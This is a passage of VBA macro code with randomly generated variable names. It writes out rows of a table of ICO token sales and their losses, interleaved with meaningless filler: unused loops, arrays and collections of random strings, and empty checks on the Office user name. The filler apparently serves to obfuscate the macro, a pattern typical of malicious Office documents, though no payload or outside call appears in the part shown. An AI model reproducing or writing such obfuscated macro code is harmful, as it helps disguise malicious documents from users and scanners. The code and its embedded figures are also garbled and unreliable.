FjxUMCWRPCbazBdGPwN = FjxUMCWRPCbazBdGPwN - gSbtEfbzLoDFfM
Wend
JqRITMOSjiRsMqsFlU ("LaLa World  LALA    $20,946,300 Jan. 2018   .140  .006  -95.71% .043") & Chr(11)
Dim xlJXRGdaNCKZJ As Integer
xlJXRGdaNCKZJ = 2
If xlJXRGdaNCKZJ < Len(Application.UserName) Then
Dim rTCVnoWnNbvxfgnJmQU As Integer
rTCVnoWnNbvxfgnJmQU = 8
Dim UiROsHaBpBVR As Integer
UiROsHaBpBVR = 7 * 8
If rTCVnoWnNbvxfgnJmQU < Len(Application.UserName) Then
Dim sIHgVplAyjqTOoLDT As Integer
For fqKAqEQiGbimsn = 0 To 2
sIHgVplAyjqTOoLDT = sIHgVplAyjqTOoLDT + fqKAqEQiGbimsn
Next fqKAqEQiGbimsn
Dim FHflTYbPqDSiQGTd As Variant
End If
Dim NPDxAXkFiGKfaUI As Variant
End If
JqRITMOSjiRsMqsFlU ("Envion  EVN $100,012,279    Jan. 2018   .803  .039  -95.14% .049") & Chr(11)
eCTiohfvgNkx = Array("TXhTaWPzngTveQJkI""tnbDsncUTyybHHQULjo")
JqRITMOSjiRsMqsFlU ("Shipchain   SHIP    $30,000,000 Jan. 2018   .288  .015  -94.79% .052") & Chr(11)
Dim xWzZlNEpOIxrLrts As Integer
xWzZlNEpOIxrLrts = 7
Dim MogYuUESmdvbbrYY, uPxmwFyEOoqDRiQR As Integer
MogYuUESmdvbbrYY = 8
uPxmwFyEOoqDRiQR = 96
While MogYuUESmdvbbrYY < uPxmwFyEOoqDRiQR
uPxmwFyEOoqDRiQR = uPxmwFyEOoqDRiQR - MogYuUESmdvbbrYY
Wend
If xWzZlNEpOIxrLrts < Len(Application.UserName) Then
Dim cfYmowCjISkEwQmcHQ As Integer
cfYmowCjISkEwQmcHQ = 6 - 8 * 5
Dim pGVtNlWStIXUX As Variant
End If
JqRITMOSjiRsMqsFlU ("Bigbom  BBO $6,800,000  May 2018    .019  .001  -94.74% .053") & Chr(11)
QIshCXNqwcHkiPr = Array("cSNZqRbSCEiNNTEeVY""QUhLFgnoLDUtYV""PKyQAXcfFELE""mfCNwsmtYolGUM")
JqRITMOSjiRsMqsFlU ("Micromoney  AMM $10,541,744 Nov. 2017   .720  .043  -94.03% .060") & Chr(11)
Dim BVjlrQoqKYJ As Integer
For BmUSTxcRHRuDB = 0 To 5
BVjlrQoqKYJ = BVjlrQoqKYJ + BmUSTxcRHRuDB
Next BmUSTxcRHRuDB
JqRITMOSjiRsMqsFlU ("Jet8    J8T $32,706,262 Mar. 2018   .048  .003  -93.75% .063") & Chr(11)
Dim oOzgZQVHlhPqc As Integer
For FnIlGWcIRnNwJh = 0 To 3
oOzgZQVHlhPqc = oOzgZQVHlhPqc + FnIlGWcIRnNwJh
Next FnIlGWcIRnNwJh
JqRITMOSjiRsMqsFlU ("Stox    STX $33,350,320 Aug. 2017   $1.127  .071  -93.70% .063") & Chr(11)
Dim QDGeUpMqmwdu As Integer
QDGeUpMqmwdu = 7 - 5 * 1
JqRITMOSjiRsMqsFlU ("Patron  PAT $40,000,000 May 2018    .167  .011  -93.41% .066") & Chr(11)
Dim pRiHreNZJtp As Collection
Set pRiHreNZJtp = New Collection
pRiHreNZJtp.Add "fNJoqYHElTUnC"
pRiHreNZJtp.Add "svNKdPKJRAm"
pRiHreNZJtp.Add "heomBByyeYYUurCo"
JqRITMOSjiRsMqsFlU ("TokenStars  TEAM    $4,928,107  Nov. 2017   .588  .039  -93.37% .066") & Chr(11)
KtmwNSLkRePwA = Array("YlJQgwVlfUKK""mxefjkBChiQ""HkEOzWSuBrWJBVbGdg""eMaRjNiHfruCp""FXEnAPhyRAzMSH""QHgecuCXQjnIj")
JqRITMOSjiRsMqsFlU ("Bonpay  BON $9,659,455  Nov. 2017   .871  .058  -93.34% .067") & Chr(11)
Dim vUxmhKvQpFKtTwDrbh As Integer
vUxmhKvQpFKtTwDrbh = 2 * 1
JqRITMOSjiRsMqsFlU ("BitDegree   BDG $24,114,880 Dec. 2017   .072  .005  -93.06% .069") & Chr(11)
Dim LXmauAIliOpg As Integer
LXmauAIliOpg = 8 - 8 * 8
JqRITMOSjiRsMqsFlU ("Rentberry   BERRY   $29,831,979 Feb. 2018   .099  .007  -92.93% .071") & Chr(11)
Dim DCbbevsqMTtD, HVYIFxUncnd As Integer
DCbbevsqMTtD = 4
HVYIFxUncnd = 77
While DCbbevsqMTtD < HVYIFxUncnd
HVYIFxUncnd = HVYIFxUncnd - DCbbevsqMTtD
Wend
JqRITMOSjiRsMqsFlU ("Procommerce PROC    $77,000 Feb. 2017   .027  .002  -92.59% .074") & Chr(11)
Dim PZnyCYmTfbGhAKxKX As Integer
For fdZoKLFnaipXstWJ = 0 To 3
PZnyCYmTfbGhAKxKX = PZnyCYmTfbGhAKxKX + fdZoKLFnaipXstWJ
Next fdZoKLFnaipXstWJ
JqRITMOSjiRsMqsFlU ("Hero Node   HER $20,852,460 May 2018    .026  .002  -92.31% .077") & Chr(11)
Dim XSHQDHYKbVNfaNUWsN As Integer
For xxVGRuPQfkUkEH = 0 To 6
XSHQDHYKbVNfaNUWsN = XSHQDHYKbVNfaNUWsN + xxVGRuPQfkUkEH
Next xxVGRuPQfkUkEH
JqRITMOSjiRsMqsFlU ("Chrono Logic    DAY $8,259,637  Sep. 2017   $10.637 .822  -92.27% .077") & Chr(11)
Dim ShPFvAkukNkHwZVE As Integer
ShPFvAkukNkHwZVE = 6
xHlrtiAWIrlAJpgpk = Array("cljwfrKEKHDle""ciKwwuzTIWSIkeDO""enTcLAPYwvtsuiBECEc""CGUuNMAXKgXyEZQcjH""RiEmrDqlannrChRgOVA")
If ShPFvAkukNkHwZVE < Len(Application.UserName) Then
Dim csPOKkfJCFbc As Integer
csPOKkfJCFbc = 7 * 4
Dim QQbthPvxxHzcq As Variant
End If
JqRITMOSjiRsMqsFlU ("Atlant  ATL $6,643,081  Nov. 2017   .514  .040  -92.22% .078") & Chr(11)
qIImsLFareHQYhIBjN = Array("MVBCReBpkDv""kMtJvsEsGoIQUDUaS""EBgCxvgiVlZuGSo""khWBIgKMHxwYK""pIAFPXieTkDCsymdG")
JqRITMOSjiRsMqsFlU ("BankEx  BKX $70,600,000 Dec. 2017   .882  .069  -92.18% .078") & Chr(11)
Dim BmAMzCNwLGI As Integer
BmAMzCNwLGI = 9
EDwDzJuHGPeVMMiD = Array("sRAWdLJYhnpLm""QZkBzTUTyZUTeY""YxBwIreAUWfpsXXwiaE""XlBbMPYNlpEEGkS""VuQXenZyIrmpWoEsF""sdiICvMJiIIcbzkCrlD")
If BmAMzCNwLGI < Len(Application.UserName) Then
Dim kFLKmlNcReqpAPLqmm, YtNFKkhcNVDPrW As Integer
kFLKmlNcReqpAPLqmm = 1
YtNFKkhcNVDPrW = 41
While kFLKmlNcReqpAPLqmm < YtNFKkhcNVDPrW
YtNFKkhcNVDPrW = YtNFKkhcNVDPrW - kFLKmlNcReqpAPLqmm
Wend
Dim SnFbqEDIPboGhIvRYp As Variant
End If
JqRITMOSjiRsMqsFlU ("Bloom   BLT $41,420,705 Jan. 2018   $1.049  .084  -91.99% .080") & Chr(11)
zlKMziMwAjiodovatvz = Array("QPwABzEmEKBligVw""opLtOUnwggPvadCDz""uXzoHVDVHuf""oQWOgfacLHAuSPNNn")
JqRITMOSjiRsMqsFlU ("Trackr  TKR $292,938    Sep. 2017   .049  .004  -91.84% .082") & Chr(11)
Dim UvQJYGSIeby As Integer
UvQJYGSIeby = 1
Dim zMiqiUFPmnbWlcqZA As Integer
zMiqiUFPmnbWlcqZA = 1 * 6
If UvQJYGSIeby < Len(Application.UserName) Then
Dim HXvjAnWmWfCwLneTyaA As Integer
HXvjAnWmWfCwLneTyaA = 1
Dim csclxwvmavmrCuI As Collection
Set csclxwvmavmrCuI = New Collection
csclxwvmavmrCuI.Add "wVoDvszdecYeQrhyxIV"
csclxwvmavmrCuI.Add "naOHWCcWWmV"
csclxwvmavmrCuI.Add "wOojkdbEBqyLfw"
csclxwvmavmrCuI.Add "VCcoVKLbSHdLk"
csclxwvmavmrCuI.Add "LdKrqZzWWkkBul"
If HXvjAnWmWfCwLneTyaA < Len(Application.UserName) Then
Dim uMnbLBBaYIGdSiQLL As Integer
uMnbLBBaYIGdSiQLL = 8 * 7
Dim cIDOnkvWxDWcTFtwDVY As Variant
End If
Dim SulOQEEpsQqRp As Variant
End If
JqRITMOSjiRsMqsFlU ("Starbase    STAR    $9,000,000  Nov. 2017   .048  .004  -91.67% .083") & Chr(11)
Dim eDCTZSPUaVMPj As Integer
eDCTZSPUaVMPj = 7
YXndhOmCDxF = Array("QfbyLnpgtRVwR")
If eDCTZSPUaVMPj < Len(Application.UserName) Then
Dim ECvDyxSqseitz As Integer
For BCPJbBJwXBrpF = 0 To 3
ECvDyxSqseitz = ECvDyxSqseitz + BCPJbBJwXBrpF
Next BCPJbBJwXBrpF
Dim TUvgPXgcXgMaLN As Variant
End If
JqRITMOSjiRsMqsFlU ("Datawallet  DXT $40,000,000 Feb. 2018   .120  .010  -91.67% .083") & Chr(11)
Dim yHjybqZWsaQJ, bSmNeUMGfhP As Integer
yHjybqZWsaQJ = 8
bSmNeUMGfhP = 69
While yHjybqZWsaQJ < bSmNeUMGfhP
bSmNeUMGfhP = bSmNeUMGfhP - yHjybqZWsaQJ
Wend
JqRITMOSjiRsMqsFlU ("Dether  DTH $13,258,050 Feb. 2018   .201  .017  -91.54% .085") & Chr(11)
Dim ilNfeHwKkgk As Integer
ilNfeHwKkgk = 7 - 7 * 4
JqRITMOSjiRsMqsFlU ("Blocklancer LNC $5,475,789  Feb. 2018   .047  .004  -91.49% .085") & Chr(11)
Dim QknmZbAvHhithe As Integer
For wTfKcNmRtBRcqTV = 0 To 4
QknmZbAvHhithe = QknmZbAvHhithe + wTfKcNmRtBRcqTV
Next wTfKcNmRtBRcqTV
JqRITMOSjiRsMqsFlU ("Swissborg   CHSB    $50,000,000 Jan. 2018   .093  .008  -91.40% .086") & Chr(11)
Dim cZKwcPNcWSZ As Integer
For qauGCTULifOeKFf = 0 To 6
cZKwcPNcWSZ = cZKwcPNcWSZ + qauGCTULifOeKFf
Next qauGCTULifOeKFf
JqRITMOSjiRsMqsFlU ("Octanox OTX $297,414    Jun. 2017   .074  .007  -90.54% .095") & Chr(11)
Dim qxPXAFQFgXaAnVU As Integer
For GduwIrhSKQTwDOeB = 0 To 3
qxPXAFQFgXaAnVU = qxPXAFQFgXaAnVU + GduwIrhSKQTwDOeB
Next GduwIrhSKQTwDOeB
JqRITMOSjiRsMqsFlU ("Ethbet  EBET    $1,321,550  Sep. 2017   .176  .017  -90.34% .097") & Chr(11)
Dim EZElHHZcmWkxfgQKa As Integer
EZElHHZcmWkxfgQKa = 5
Dim erWzxTWjWlQBEI As Integer
For RXdAxazVesQgN = 0 To 7
erWzxTWjWlQBEI = erWzxTWjWlQBEI + RXdAxazVesQgN
Next RXdAxazVesQgN
If EZElHHZcmWkxfgQKa < Len(Application.UserName) Then
Dim pspRQiwlZxQuFjQ As Integer
pspRQiwlZxQuFjQ = 7 - 6 * 7
Dim JSLAzOtXCBzTVmqvE As Variant
End If
JqRITMOSjiRsMqsFlU ("Ethersportz ESZ $3,500,000  Jan. 2018   .500  .049  -90.20% .098") & Chr(11)
XqjbIldbjIDT = Array("NBHmxlwkBdNn""rOOaLmNbRAMvjlsTxH""jAKynKkoLhXdGWKtXWa""qDQmBBZPkdip""TpHkYIxKbisXC""tLGKgSDNXoz""opPHPkkpxXj""NdtxQCNgBawkP")
JqRITMOSjiRsMqsFlU ("COMSA   CMS $95,614,242 Nov. 2017   $1.000  .101  -89.90% .101") & Chr(11)
Dim avuuytFmbUcrax As Integer
avuuytFmbUcrax = 6 - 9 * 6
JqRITMOSjiRsMqsFlU ("Monetha MTH $36,388,800 Aug. 2017   .181  .019  -89.50% .105") & Chr(11)
Dim gwWyYfEiglXMiZt As Integer
For vWVXOdAfhqWA = 0 To 8
gwWyYfEiglXMiZt = gwWyYfEiglXMiZt + vWVXOdAfhqWA
Next vWVXOdAfhqWA
JqRITMOSjiRsMqsFlU ("ICOO    ICOO    $1,388,427  Jun. 2016   $2.938  .309  -89.48% .105") & Chr(11)
Dim aGsYgTEJtRMnylLDdu As Collection
Set aGsYgTEJtRMnylLDdu = New Collection
aGsYgTEJtRMnylLDdu.Add "wvmfspsUFULnnHf"
aGsYgTEJtRMnylLDdu.Add "VRZkiCLEBYgTz"
aGsYgTEJtRMnylLDdu.Add "oVSRdpGkDmDF"
aGsYgTEJtRMnylLDdu.Add "ZDhHCWpsJyukIO"
aGsYgTEJtRMnylLDdu.Add "tOLUKbWZbZUSbhRv"
aGsYgTEJtRMnylLDdu.Add "cbgooSNjnSvgexd"
aGsYgTEJtRMnylLDdu.Add "XgMBMbkGtOEEpP"
JqRITMOSjiRsMqsFlU ("Olympus Labs    MOT $58,488,300 Jan. 2018   $1.462  .156  -89.33% .107") & Chr(11)
sHTcgWUDpuZbFJH = Array("ihvBJvinizp""ZbhUsInPDutxSoFnlLO""EgJraztrReeANDsVf""AhvTcPQrHBx""uJpAgvDBcfTw""wBVmMqINDllIlhLwZIW""usTNhCdjNrUDi""uDAbwuJuPvUWW")
JqRITMOSjiRsMqsFlU ("Gridplus    GRID    $45,683,674 Nov. 2017   $1.164  .125  -89.26% .107") & Chr(11)
Dim RRecvIOShqEWkyE, aPXsldyQraOWRml As Integer
RRecvIOShqEWkyE = 1
aPXsldyQraOWRml = 78
While RRecvIOShqEWkyE < aPXsldyQraOWRml
aPXsldyQraOWRml = aPXsldyQraOWRml - RRecvIOShqEWkyE
Wend
JqRITMOSjiRsMqsFlU ("GoNetwork   GOT $46,719,624 Jun. 2018   .800  .086  -89.25% .108") & Chr(11)
JZfKHkqZjKrZadhJ = Array("kuJseqydoxg""YouDuoAtQkoubBYmrW""EZtJgqPHBOv""RFGSarLMnJmmc""CPLbjdZdTvCrcPsWq""AufbVWGNTeLQasOiaYv""PlVJAwzxrbU""ztmFtiCyzdH")
JqRITMOSjiRsMqsFlU ("Havven  HAV $30,000,000 Feb. 2018   .670  .074  -88.96% .110") & Chr(11)
mWnaDpzNWvOoKmOVSd = Array("xuAGpFThfhPujgVdHN")
JqRITMOSjiRsMqsFlU ("Lendingblock    LND $10,000,000 Apr. 2018   .018  .002  -88.89% .111") & Chr(11)
Dim gbaNCEKCJUQN As Integer
gbaNCEKCJUQN = 8 - 3 * 5
JqRITMOSjiRsMqsFlU ("Lendroid    LST $44,768,500 Feb. 2018   .009  .001  -88.89% .111") & Chr(11)
Dim NZnjpaaLhvJBFAM As Integer
For daDywRwbPxMkcl = 0 To 1
NZnjpaaLhvJBFAM = NZnjpaaLhvJBFAM + daDywRwbPxMkcl
Next daDywRwbPxMkcl
JqRITMOSjiRsMqsFlU ("adbank  ADB $13,964,200 Jan. 2018   .027  .003  -88.89% .111") & Chr(11)
JqRITMOSjiRsMqsFlU ("Merculet    MVP $28,282,320 May 2018    .009  .001  -88.89% .111") & Chr(11)
Dim zNdmqYHohgC As Collection
Set zNdmqYHohgC = New Collection
zNdmqYHohgC.Add "WoJAeVPCCMJcFBQ"
zNdmqYHohgC.Add "ZBAFlZGCJzhbSqXYh"
zNdmqYHohgC.Add "rKtsQjKacZLu"
zNdmqYHohgC.Add "LHikKbgIjVbyedyEFO"
zNdmqYHohgC.Add "LPLhehkatsuPV"
zNdmqYHohgC.Add "rBowCZAsefwTu"
zNdmqYHohgC.Add "rFPrbLdrPvsNMNQJ"
JqRITMOSjiRsMqsFlU ("Electrify   ELEC    $30,000,000 Mar. 2018   .080  .009  -88.75% .113") & Chr(11)
JqRITMOSjiRsMqsFlU ("Obsidian    ODN $4,073,497  Aug. 2017   .204  .023  -88.73% .113") & Chr(11)
Dim OyOVzDuyrnU As Integer
OyOVzDuyrnU = 6
Dim eGQwpaliEupbvHmJUZS As Collection
Set eGQwpaliEupbvHmJUZS = New Collection
eGQwpaliEupbvHmJUZS.Add "HWRLCanTaYTvgCu"
eGQwpaliEupbvHmJUZS.Add "xNJHQuygQJkAYCUx"
eGQwpaliEupbvHmJUZS.Add "YzJFBsrPaTxxJIHEm"
eGQwpaliEupbvHmJUZS.Add "LoKyLtGpAjRDbsLp"
eGQwpaliEupbvHmJUZS.Add "OcJQOwBSrkAT"
eGQwpaliEupbvHmJUZS.Add "AtPietjOsnxPi"
If OyOVzDuyrnU < Len(Application.UserName) Then
Dim zZoefysMTxbiue As Variant
End If
JqRITMOSjiRsMqsFlU ("Mysterium Network   MYST    $14,075,000 May 2017    .926  .107  -88.44% .116") & Chr(11)
Dim AwbxcNctEZTeLin As Integer
AwbxcNctEZTeLin = 1 * 7
JqRITMOSjiRsMqsFlU ("DAOstack    GEN $30,000,000 May 2018    .750  .088  -88.27% .117") & Chr(11)
Dim xrIZFcSDZfhnXTrfDfE, DqhCcmjuDlw As Integer
xrIZFcSDZfhnXTrfDfE = 8
DqhCcmjuDlw = 34
While xrIZFcSDZfhnXTrfDfE < DqhCcmjuDlw
DqhCcmjuDlw = DqhCcmjuDlw - xrIZFcSDZfhnXTrfDfE
Wend
JqRITMOSjiRsMqsFlU ("MobileGo    MGO $53,069,235 May 2017    .758  .091  -87.99% .120") & Chr(11)
Dim mwWnmzvDYcRD As Integer
For kDbyPQmjaXLEplwyce = 0 To 6
mwWnmzvDYcRD = mwWnmzvDYcRD + kDbyPQmjaXLEplwyce
Next kDbyPQmjaXLEplwyce
JqRITMOSjiRsMqsFlU ("SophiaTX    SPHTX   $23,470,357 Dec. 2017   .478  .059  -87.66% .123") & Chr(11)
Dim xdjgFOXpzlrE As Integer
For YByHoWsyCTl = 0 To 3
xdjgFOXpzlrE = xdjgFOXpzlrE + YByHoWsyCTl
Next YByHoWsyCTl
JqRITMOSjiRsMqsFlU ("Indorse IND $9,033,954  Sep. 2017   .329  .041  -87.54% .125") & Chr(11)
Dim fKZNhqpTfpg As Integer
For HExzqIBUZPQOJgvKc = 0 To 7
fKZNhqpTfpg = fKZNhqpTfpg + HExzqIBUZPQOJgvKc
Next HExzqIBUZPQOJgvKc
JqRITMOSjiRsMqsFlU ("Dadi    DADI    $29,000,000 Jan. 2018   .580  .076  -86.90% .131") & Chr(11)
Dim ccQyAQxMXvCG As Integer
ccQyAQxMXvCG = 3 - 2 * 7
JqRITMOSjiRsMqsFlU ("Devery  EVE $10,000,000 Jan. 2018   .167  .022  -86.83% .132") & Chr(11)
Dim XskbqfPwMTvCM As Integer
XskbqfPwMTvCM = 3
Dim MnnWmGqkbCKTpczvVd As Integer
MnnWmGqkbCKTpczvVd = 2 * 6
If XskbqfPwMTvCM < Len(Application.UserName) Then
Dim opnqeSzkBEv As Variant
End If
JqRITMOSjiRsMqsFlU ("Bankera BNK $150,000,000    Feb. 2018   .015  .002  -86.67% .133") & Chr(11)
Dim cIAcgrmgiYjDvHf As Integer
For xWHLcWjQbBgxa = 0 To 8
cIAcgrmgiYjDvHf = cIAcgrmgiYjDvHf + xWHLcWjQbBgxa
Next xWHLcWjQbBgxa
JqRITMOSjiRsMqsFlU ("Cardstack   CARD    $35,000,000 Jun. 2018   .015  .002  -86.67% .133") & Chr(11)
paixGZHVKYWJkfSl = Array("VxVlaOTjDUh""DBtMsbvCylZCIVs""reVptBKOKASoTN""aNEjPnyVZXZPuHIFfBm""qnsHAKwagGZpc""XzCkSEuoOte""gmVwHYadVHkia""PNvKgFPSttchHJLTzsv")
JqRITMOSjiRsMqsFlU ("Opus    OPT $5,825,148  Aug. 2017   .044  .006  -86.36% .136") & Chr(11)
Dim HhpFMolrKHcoGiLOu As Integer
For VFSDcHlyXaMuRjyzl = 0 To 1
HhpFMolrKHcoGiLOu = HhpFMolrKHcoGiLOu + VFSDcHlyXaMuRjyzl
Next VFSDcHlyXaMuRjyzl
JqRITMOSjiRsMqsFlU ("Hydro   HOT $31,250,400 Jan. 2018   .080  .011  -86.25% .138") & Chr(11)
JqRITMOSjiRsMqsFlU ("Unikoingold UKG $32,345,171 Nov. 2017   .253  .035  -86.17% .138") & Chr(11)
oKzDmgMmXnaJ = Array("pjBoSMmOsVxkhXgx""yYIUnJOjOAIHQUlnjgl""XKbDjKAjDqmkYF""bNgQEzOzLKVXsOTT""AeblkNVEGrXp""TiulCQBnFcFRBMEhB""HPYFabpifQbV""xVXiJDIxGaIt""tWQdxoesYzuY")
JqRITMOSjiRsMqsFlU ("Atonomi ATMI    $25,000,000 Jun. 2018   .050  .007  -86.00% .140") & Chr(11)
Dim VyqRZLIqfJJIkKai, sPzJkQGKkxhgrsR As Integer
VyqRZLIqfJJIkKai = 3
sPzJkQGKkxhgrsR = 76
While VyqRZLIqfJJIkKai < sPzJkQGKkxhgrsR
sPzJkQGKkxhgrsR = sPzJkQGKkxhgrsR - VyqRZLIqfJJIkKai
Wend
JqRITMOSjiRsMqsFlU ("Blockcat    CAT $7,034,927  Aug. 2017   .765  .111  -85.49% .145") & Chr(11)
Dim aVkogPrNCwFBRsSOQD As Collection
Set aVkogPrNCwFBRsSOQD = New Collection
aVkogPrNCwFBRsSOQD.Add "emVTixCPsAG"
aVkogPrNCwFBRsSOQD.Add "BzyJGYarzynyVcAolc"
aVkogPrNCwFBRsSOQD.Add "sFqJGmpaumOunOkx"
aVkogPrNCwFBRsSOQD.Add "HYBWyvJpCTjzwMk"
aVkogPrNCwFBRsSOQD.Add "GDhDjZCakaUZ"
JqRITMOSjiRsMqsFlU ("Sirin Labs  SRN $157,885,825    Dec. 2017   .470  .069  -85.32% .147") & Chr(11)
Dim KEdyRBUUTPVHORtPad As Integer
KEdyRBUUTPVHORtPad = 8 - 6 * 7
JqRITMOSjiRsMqsFlU ("FundYourselfNow FYN $1,176,703  Jul. 2017   $1.612  .242  -84.99% .150") & Chr(11)
Dim pfuqYYjLnMuw As Integer
pfuqYYjLnMuw = 4 * 7
JqRITMOSjiRsMqsFlU ("Unibright   UBT $13,413,496 May 2018    .133  .020  -84.96% .150") & Chr(11)
Dim ivNPGDZZXiEiIFKIrf As Collection
Set ivNPGDZZXiEiIFKIrf = New Collection
ivNPGDZZXiEiIFKIrf.Add "wgBXbXvsWuAOmYHKfrD"
ivNPGDZZXiEiIFKIrf.Add "hZVBXYLuqogBKQGChN"
ivNPGDZZXiEiIFKIrf.Add "kgAXgFooAXEyl"
ivNPGDZZXiEiIFKIrf.Add "tgVyreUBUakMWZfrQuE"
ivNPGDZZXiEiIFKIrf.Add "wZNjQJulonlQ"
ivNPGDZZXiEiIFKIrf.Add "FoflROrTsJOIln"
ivNPGDZZXiEiIFKIrf.Add "CsvzBPdLHyswRkX"
ivNPGDZZXiEiIFKIrf.Add "sLZdepLehmLPUHVNl"
ivNPGDZZXiEiIFKIrf.Add "lJgWWXaSgaL"
JqRITMOSjiRsMqsFlU ("Mobius  MOBI    $39,000,000 Jan. 2018   .146  .022  -84.93% .151") & Chr(11)
Dim IMiypqPOyViy As Integer
For EdaEXTPeLcBxFroVbiV = 0 To 3
IMiypqPOyViy = IMiypqPOyViy + EdaEXTPeLcBxFroVbiV
Next EdaEXTPeLcBxFroVbiV
JqRITMOSjiRsMqsFlU ("Auctus  AUC $4,029,663  Apr. 2018   .303  .046  -84.82% .152") & Chr(11)
Dim NigPWUOZtphGLTp, WLpjnXpVwAofaGTTu As Integer
NigPWUOZtphGLTp = 2
WLpjnXpVwAofaGTTu = 16
While NigPWUOZtphGLTp < WLpjnXpVwAofaGTTu
WLpjnXpVwAofaGTTu = WLpjnXpVwAofaGTTu - NigPWUOZtphGLTp
Wend
JqRITMOSjiRsMqsFlU ("CashBet Coin    CBC $38,000,000 Apr. 2018   .266  .041  -84.59% .154") & Chr(11)
UkGXnOWBPyR = Array("suqmmUBOGrz""XoaALBZQSgjYPGY""njDZFuiEtPJ""HcVwOEycpGsdHKrJEf")
JqRITMOSjiRsMqsFlU ("Morpheus Labs   MITX    $6,380,400  Apr. 2018   .032  .005  -84.38% .156") & Chr(11)
UrifpgkeBHvnfp = Array("OgczQiWRBVwaiMDW")
JqRITMOSjiRsMqsFlU ("INS Ecosystem   INS $45,949,800 Dec. 2017   $1.532  .248  -83.81% .162") & Chr(11)
Dim rCINNcoUlYvSrnv As Integer
rCINNcoUlYvSrnv = 4 * 2
JqRITMOSjiRsMqsFlU ("Air platform    XID $5,109,781  Jun. 2017   .201  .033  -83.58% .164") & Chr(11)
Dim RjuhrLoJrDqaa As Integer
RjuhrLoJrDqaa = 1 - 8 * 5
JqRITMOSjiRsMqsFlU ("Medicalchain    MTN $24,000,000 Feb. 2018   .137  .023  -83.21% .168") & Chr(11)
JqRITMOSjiRsMqsFlU ("Shivom  OMX $35,000,000 Apr. 2018   .035  .006  -82.86% .171") & Chr(11)
Dim jhtYQsssekAUmsuyb As Integer
For AkyJgLTzQnMjyf = 0 To 2
jhtYQsssekAUmsuyb = jhtYQsssekAUmsuyb + AkyJgLTzQnMjyf
Next AkyJgLTzQnMjyf
JqRITMOSjiRsMqsFlU ("EncryptoTel ETT $3,000,000  May 2017    .084  .015  -82.14% .179") & Chr(11)
Dim XbWZNoSMvacuR As Integer
XbWZNoSMvacuR = 5 - 5 * 6
JqRITMOSjiRsMqsFlU ("AdHive  ADH $12,000,000 Mar. 2018   .089  .016  -82.02% .180") & Chr(11)
JqRITMOSjiRsMqsFlU ("Friendz FDZ $12,741,711 Mar. 2018   .022  .004  -81.82% .182") & Chr(11)
Dim WZZZcAHRdOhzxJGEac, YLDLhFeLMwxeTfTD As Integer
WZZZcAHRdOhzxJGEac = 7
YLDLhFeLMwxeTfTD = 45
While WZZZcAHRdOhzxJGEac < YLDLhFeLMwxeTfTD
YLDLhFeLMwxeTfTD = YLDLhFeLMwxeTfTD - WZZZcAHRdOhzxJGEac
Wend
JqRITMOSjiRsMqsFlU ("DCORP   DRP $5,048,937  Jun. 2017   .624  .114  -81.73% .183") & Chr(11)
Dim HcNloJwPswjp As Integer
HcNloJwPswjp = 8
Dim eLHJFZPpddN As Integer
eLHJFZPpddN = 3 * 5
If HcNloJwPswjp < Len(Application.UserName) Then
Dim ByZbomlLmckVeflKw As Integer
ByZbomlLmckVeflKw = 1
Dim TxgQBzIxnzHhb As Integer
For JtZcUCMYukjnx = 0 To 2
TxgQBzIxnzHhb = TxgQBzIxnzHhb + JtZcUCMYukjnx
Next JtZcUCMYukjnx
If ByZbomlLmckVeflKw < Len(Application.UserName) Then
Dim FtQMdMQwuICcQszdOS As Integer
FtQMdMQwuICcQszdOS = 1 - 7 * 3
Dim bPtivlmsawscdndg As Variant
End If
Dim xdKHxtcCSmIPaLm As Variant
End If
JqRITMOSjiRsMqsFlU ("Zeepin  ZPT $59,858,852 Jan. 2018   .120  .022  -81.67% .183") & Chr(11)
Dim KZeUWWYDdVWETvRQCT As Integer
For MBcWomXfGNozf = 0 To 9
KZeUWWYDdVWETvRQCT = KZeUWWYDdVWETvRQCT + MBcWomXfGNozf
Next MBcWomXfGNozf
JqRITMOSjiRsMqsFlU ("Essentia    ESS $25,500,000 Jun. 2018   .036  .007  -80.56% .194") & Chr(11)
FucorAVAZuMXDHTFYE = Array("PMtdlmowubHnPPrP""WFtIZaFIjELoM""GBmzzqmTpAZKcGf""DCCuZFbNKzsQ""IZkTotDlekLT""jxxwNOOmPKkqamYxjC""fRWTzUswjzcePsi""NNajQVnCVgFmxa""hshhWehigNsVUMz")
JqRITMOSjiRsMqsFlU ("daneel  DAN $2,233,227  Mar. 2018   .077  .015  -80.52% .195") & Chr(11)
Dim urdkVgtNmoFWHnjRkb As Integer
urdkVgtNmoFWHnjRkb = 5 * 4
JqRITMOSjiRsMqsFlU ("Cryptoping  PING    $2,608,052  Jun. 2017   .290  .057  -80.34% .197") & Chr(11)
Dim CUiewHmuhims, tlSrYbHdDmYfLEKNwR As Integer
CUiewHmuhims = 1
tlSrYbHdDmYfLEKNwR = 83
While CUiewHmuhims < tlSrYbHdDmYfLEKNwR
tlSrYbHdDmYfLEKNwR = tlSrYbHdDmYfLEKNwR - CUiewHmuhims
Wend
JqRITMOSjiRsMqsFlU ("WePower WPR $40,000,000 Feb. 2018   .086  .017  -80.23% .198") & Chr(11)
Dim MIebSDOwBxaBkX As Integer
MIebSDOwBxaBkX = 5 * 8
JqRITMOSjiRsMqsFlU ("Apex    CPX $25,000,000 Jan. 2018   .074  .015  -79.73% .203") & Chr(11)
wFfrGKiOkGriexbGp = Array("QaHegXFigafjLYmXyYT""sdNOVBTFrgMowgtgPR""EVyVRpotFIcoKkQBcM""NqSYNYDbFYJDmxGcYMd""fltNHhVomutepCF")
JqRITMOSjiRsMqsFlU ("PikcioChain PKC $10,000,000 Mar. 2018   .277  .057  -79.42% .206") & Chr(11)
Dim XrExKAYqMKCW As Integer
XrExKAYqMKCW = 8
ZsZaKMWoVBIBDh = Array("RHkfgjanpjjil""VreVAnGjNlzEtNoDJj""UmdyYepdcQRWygSLRc""dohwRjbgUcJRhRBLU""njUFOElroSThAinBuZU""CzFruHfsTkHbGOr""ULBiJspbnjwYgnuHz""tsskIOpAilmEshn""lPpQgBLDaaxW")
If XrExKAYqMKCW < Len(Application.UserName) Then
Dim JSKINqggiorekCqDiG, kmUqTGadpBN As Integer
JSKINqggiorekCqDiG = 8
kmUqTGadpBN = 22
While JSKINqggiorekCqDiG < kmUqTGadpBN
kmUqTGadpBN = kmUqTGadpBN - JSKINqggiorekCqDiG
Wend
Dim QCALrizhcOQupv As Variant
End If
JqRITMOSjiRsMqsFlU ("Skincoin    SKIN    $3,000,000  Jul. 2017   .034  .007  -79.41% .206") & Chr(11)
Dim ZBxUjcpxWWVG As Integer
ZBxUjcpxWWVG = 2 - 4 * 8
